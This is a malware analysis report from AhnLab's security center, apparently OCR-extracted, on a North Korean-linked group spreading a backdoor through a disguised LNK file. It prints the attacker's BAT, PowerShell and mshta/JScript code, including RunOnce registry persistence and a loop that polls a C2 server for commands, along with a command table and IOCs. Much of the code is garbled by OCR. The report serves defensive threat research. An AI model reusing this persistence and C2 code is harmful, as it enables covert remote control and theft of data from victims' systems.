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Distribution of Backdoor via Malicious LNK: RedEyes (ScarCruft)
- ASEC

By ATCP
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AhnLab Security Emergency response Center (ASEC) has confirmed that malware [1], which was previously
distributed in CHM format, is now being distributed in LNK format. This malware executes additional scripts
located at a specific URL through the mshta process. It then receives commands from the threat actor’s server to

carry out additional malicious behaviors.

The threat actor has been distributing the confirmed LNK file on a regular website by uploading it alongside

malware within a compressed file.
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The malicious LNK file has been uploaded under the file name ‘REPORT.ZIP.” Similar to the malware identified
in <RokRAT Malware Distributed Through LNK Files (*.Ink): RedEyes (ScarCruft)> [2], this file has an

LNK that contains normal Excel document data and malicious script code.
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HETAE xlsxInk 25,852,256 25,956,221 0% HiZ 7t7| 2023-05-10 27 1129

5 SHEFAE xlsxInk

Offsec(h) 00 01 02 03 04 05 06 07 08 09 ORA OB OC OD OE OF

O000F3AR0 C5 1D 46 C5 1D 46 C5 1D 46 CS5 1D 46 C5 1D 46 C5 A.FA.FA.FA.FA.FA
OD0O00OF3BO 1D 46 C5 1D 46 C5 1D 46 C5 1D 46 C5 1D 46 C5 1D .FA.FA.FA.FA.FA.
0000F3CO 46 C5 1D 46 CS5 1D 46 C5 1D 46 C5 1D 46 C5 1D 46 FA.FA.FA.FA.FA.F
0000F3D0 C5 1D 46 C5 1D 46 C5 1D 46 C5 1D 46 CS 1D 46 C5 A.FA.FA.FA.FA.FA
00O00F3E0 1D 46 C5 1D 46 C5 1D 46 C5 1D 46 C5 1D 46 C5 1D .FA.FA.FA.FA.FA.
0000F3F0 46 C5 1D 46 CS 1D 46 C5 1D 46 C5 1D 46 C5 1D 46 FA.FA.FA.FA.FA.F

0000F400 50 4B 03 04 14 00 06 00 08 00 00 00 21 00 41 37 |PK.....cctns '.A7
0000F410 82 CF 6E 01 00 00 04 05 00 00 13 00 08 02 5B 43 |,In........... [C
0000F420 6F 6E 74 65 6E 74 SF 54 79 70 65 73 5D 2E 78 €D |ontent Types].xm
0000F430 6C 20 A2 04 02 28 RO 00 02 00 00 00 00 00 00 00 |1l ¢.of svnnnnnns
0000F440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.vseernsannnnnns
0000F450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.vseevnsannnanns

i) HTPEAE xlsxInk

Cffset(h) 00 01 02 03 04 05 06 07 08 09 OA 0B OC OD OE OF

00012250 1D 46 C5 1D 46 CS5 1D 46 C5 1D 46 C5 1D 46 C5 1D .FA.FA.FA.FA.FA.
00012260 46 C5 1D 46 C5 1D &3 6F 70 79 20 25 7E 66 30 20 FA.FAlcopy =~%0

00012270 22 25 61 70 70 64 61 74 61 25 5C 4D 69 63 72 6F ["sappdatat\Micro
00012280 73 €F 66 74 5C 50 72 6F 74 65 63 74 5C 55 73 65 | scfr\Protect\Use
00012280 72 50 72 6F 66 69 6C 65 53 61 66 65 42 61 63 6B | rProfileSafeBack
000122R0 75 70 2E 62 61 74 22 0D OA 52 45 47 20 41 44 44 |up.bat"..REG ADD
00012280 20 48 4B 43 55 5C 53 6F 66 74 77 61 72 65 5C 4D | HXCU\Software\M
000122C0 69 63 72 6F 73 6F 66 74 5C 57 €9 6E 64 6F 77 73 | icrosoft\Windows
000122D0 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C | \CurrentVersion\
DOD122E0 52 75 6E 4F 6E 63 65 20 2F 76 20 42 61 63 68 75 | RunOnce /v Backu
D00122F0 70 55 73 65 72 50 72 6F €6 69 6C 65 73 20 2F 74 | pUserProfiles /t
00012300 20 52 45 47 S5F 53 SA 20 2F 66 20 2F 64 20 22 43 | REG Sz /f /d "C
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Therefore, when the ‘Status Survey Table.xIsx.Ink’ file is executed, it creates and executes a normal document

called ‘Status Survey Table.xlsx’ and the malicious script ‘PMmVvG56FLC9y.bat’ in the %Temp% folder through

PowerShell commands.
/c powershell -windowstyle hidden $pEbjEn = Get-Location;if($pEbjEn -Match 'System32' -or $pEbjEn -Match 'Prog

‘Status Survey Table.xlsx’ appears as a normal Excel document and impersonates a Korean public organization in

the following manner.
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When the concurrently generated ‘PMmVvG56FLC9y.bat’ file is executed, it is copied into the
‘9%0appdata%\Microsoft\Protect\’ folder as ‘UserProfileSafeBackup.bat’. Afterward, it is registered in the following

registry to ensure continuous execution of the BAT file.

e Registry path: HKCU\ Software\Microsoft\Windows\CurrentVersion\RunOnce

e Value name: BackupUserProfiles
e Value: C:\Windows\SysWOW64\cmd.exe /c %appdata%\Microsoft\Protect\UserProfileSafeBackup.bat

After registering to the above registry, a PowerShell command in hexadecimal format inside the BAT file is

executed.

copy % f@ "%appdata%\Microsoft\Protect\UserProfileSafeBackup.bat"
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v BackupUserProfiles /t REG_SZ /f /d "C:\Windows

start /min C:\Windows\SysWOW64\cmd.exe /c powershell -windowstyle hidden -command
"$mbdrsidu ="$jWHmcU="""53746172742D536(656570202D<omitted>"""; $nj4KKFFRe=""""""; for ($x1EKy9tdBWI=0; $x LEKy9tdBW.

Invoke-Command -ScriptBlock ([Scriptblock]::Create($nj4KKFFRe));";
Invoke-Command -ScriptBlock ([Scriptblock]::Create($mbdrsidu));"

When the PowerShell command is executed, a Run key registration is carried out alongside the execution of
additional scripts utilizing mshta. Furthermore, registry registrations can be performed through commands from
the threat actor. The following is a portion of the PowerShell command represented in hexadecimal format within

the code of the BAT file.
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Start-Sleep -Seconds 67;

$nvSklUbaQ = 1024 * 1024;

$yixgsFVy = $env:COMPUTERNAME + '-' + $env:USERNAME+'-SH';

$allw = "hxxp://75.119.136[.]207/config/bases/config.php' + '?U=" + $yixgsFVy;

$bLmoifgHwIxhE = $env:TEMP + '/KsK';
if (!(Test-Path $bLmoifqHwIxhE)) { New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOr

The confirmed C2 and malicious URLs are as follows:

e hxxp://75.119.136[.]207/config/bases/config.php?U=[COMPUTERNAME]-[USERNAME]-SH //

Receives commands from the threat actor
e hxxp://75.119.136.207/config/bases/config.php?R=[‘EOF’ encoded in base64] // Transmits command

execution results
o hxxp://bian0151.cafe24[.]Jcom/admin/board/1.html // Downloads additional script codes

The additional script codes (hxxp://bian0151.cafe24.com/admin/board/1.html) executed through mshta contain a
PowerShell command obfuscated in Base64 as shown below. This command performs functions similar to those

previously disclosed in Table 1 of the post <RedEyes Group Wiretapping Individuals (APT37)> [3].

¢ @ % http://bian0151.cafe24.com/admin/board/1.html e o
<HTML>
<meta http-equiv = "Content_Type" content = "text/html; charset=utf-8">
<HEAD>

<Script language="JScript">
window.moveTo (37814, 37814):
var NcJpOugylpWW = new ActiveXObject ("Shell.Application”);
var ywXLBl = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
NcJpOugylpWW.ShellExecute (ywXLB1l, "-windowstyle hidden -ep bypass -ec UwBOAGEAcgBOACOAUWBSAGUAZQBWACRALQBTAGUAYWBVAG4AZABZACAAMQAxXAIL
self.close():
</Script>
</HEAD>
</HTML>

The decoded PowerShell command receives and processes commands from the threat actor at
hxxp://75.119.136[.]207/config/bases/config.php?U=[ COMPUTERNAME]-[USERNAME]-SH. Figure 6 shows a

portion of the decoded PowerShell command.

Start-Sleep —-Seconds 11&;
SxLfawdsY = 1024 * 1024;
$JuURFwWYCORHZ = $env COMPUTERNZME + '—' + Senv:USERNAME+'—SH' ;
S$ni¥v = 'http://75.1 i I/config/bases/config.php' + '"?U=' + $juRFwXCORHZ;
SNFLJ = Senv:TEMP + ' /UFmgdo]’;
if (! (Test-Path $NFLJ)) {New-ItemProperty -Path HERCU: \SoEtware\MlcrosoEt\W:Ln.dows\
CurrentVerslon\RunOnce -Name ynES -Value 'c:'wind yatem3d2i\cmd.exe /o PowerShell.exe
= NoLogo —NonInteractive £ -n 1 -w 3500585 2.2.2.2 || mshta
ht i .com/admin/board/1.ht —Property'l‘ype String -Force;
}
funetion wOmfRagwYPg (§JeHfrK, S$MeQZMTGtlfLJ) { #Connect-Read Response
function EeyHQPwvEydBt ($JcHfrK, ScFgKzGar, $OWA, $dpQlIUHnce){ #Upload
function vETzW($JcHErK, SaFgKzGar){ #Download
do{
Tryl
$EmsF = wOmfRgw¥Pg $nilv '';
1f ($KmsF -ne 'null' -and SKmsF -ne "'){
SEmsF=$KmsF.SubString (1, $KmsF.Length - 2);
SCPeGlmGPNUhImA = [System.Text.Encoding]::UTFB.GetString ([System.Convert] ::
FromBase&4String ($KmsF)) ;
if (SCPeGlmGPNUhlmA) {
if (SCPcGlmGPNUh1ImA.Contains ('pocinfo: "))
S$filename = SNFLJ + '.c=v";
Get—ComputerInfo | Export—-Csv -Path $filename -Force —NoTypeInformation -
Encoding utfB;
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The commands and features that can be performed are as follows.

Command
pcinfo
drive
clipboard
svc

process

fileinfo

start
plugin
down
up
regedit

compress

Feature

Collects PC information

Collects drive information

Collects clipboard content

Collects service information

Collects information on running processes

Collects the names, sizes, last used dates, and complete paths for the subfiles

in the received path

Executes received command through cmd

Downloads and executes additional files through PowerShell
Downloads additional files in the received path

Uploads files from the received path

Adds to the registry

Compresses files

Table 1. Commands and features that can be performed

It is suspected that the attacker is continuously modifying the script code, as the commands listed in Table 1 differ

from those previously identified. Therefore, in addition to the functionalities confirmed so far, various other

malicious activities may also be performed.

Aside from the LNK file, the compressed files ‘KB_20230531.rar’, ‘attachment.rar’, and

‘hanacard_20230610.rar’ that were identified alongside ‘REPORT.ZIP’ in Figure 1, also contain the previously

identified malicious CHM file. Similar to the LNK file described earlier, this CHM file is malware that utilizes

mshta to execute additional scripts located at specific URLs.

Page 5 of 7



https://asec.ahnlab.com/en/56756/

Zem IIW SRO =27V)

R 6 @ Q-

NEYS gsg7 - B |

EB0) FARZIR) =2H)

0z
2 KB_20230531.chm

37 g=37
90,004 383,117

o
& i
[+
i
oY o
Hu
1r
03
o
U| ne
& &
d0
>

oEF JFA =4O =2V

RK u&l@vq

MNEYS gsg7 g9=871 B9

BfA hanacard_20230610.rar

E30) SARIR) =82H)

o @237 ws37 wsE =% S LR

=
=
% hanacard_20230610.chm 325376 318,496 3% HOYUE HTML S2% Y 2023-05-30 9= 5:29

W E=EFO BV

& % B MR-

EE0) SARIIR) ESTH)

;W‘ 2.*%% e=87 =7

Bf attachmentrar e Q= 37| =37 o= =5 ST SR
n z K| Mz pdf * 55,227 54,336 2% Firefox HTML Document 2023-05-27 2= 10:47
£ password chm * 10,856 2,944 73% TOAS HTML ESY T 2023-05-27 2= 10:56
n il S M .pdf * 68,975 67424 3% Firefox HTML Document 2023-05-27 2= 1045

Due to the recent mass distribution of malware utilizing CHM and LNK files, users need to exercise extra caution.
In the case of the malicious LNK files, it has been observed that a significant number of them have a file size

exceeding 10 MB. Therefore, users must refrain from executing large LNK files from unknown sources.

[File Detection]

Dropper/LNK.Generic.52241 (2023.04.24.02)
Trojan/BAT.PsExec.S52247 (2023.06.13.02)
Downloader/Script.Generic.SC191708 (2023.08.17.03)

[Behavior Detection]
DefenseEvasion/DETECT.T1059.M11294
DefenseEvasion/DETECT.T1059.M11295

MD5

0eb8db3cbde470407f942fd63afe42b8
27f74072d6268b5d96d73107c560d852
2d444b6f72c8327d1d155faa2cca7fd7

Additional IOCs are available on AhnLab TIP.

URL
http[:1//75[.]1119[.1136[.]207/config/bases/config[.]php

Additional IOCs are available on AhnlL.ab TIP.
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Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click

the banner below.

Ahnlab TIP

Get Started with AhnLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com

Source: https://asec.ahnlab.com/en/56756
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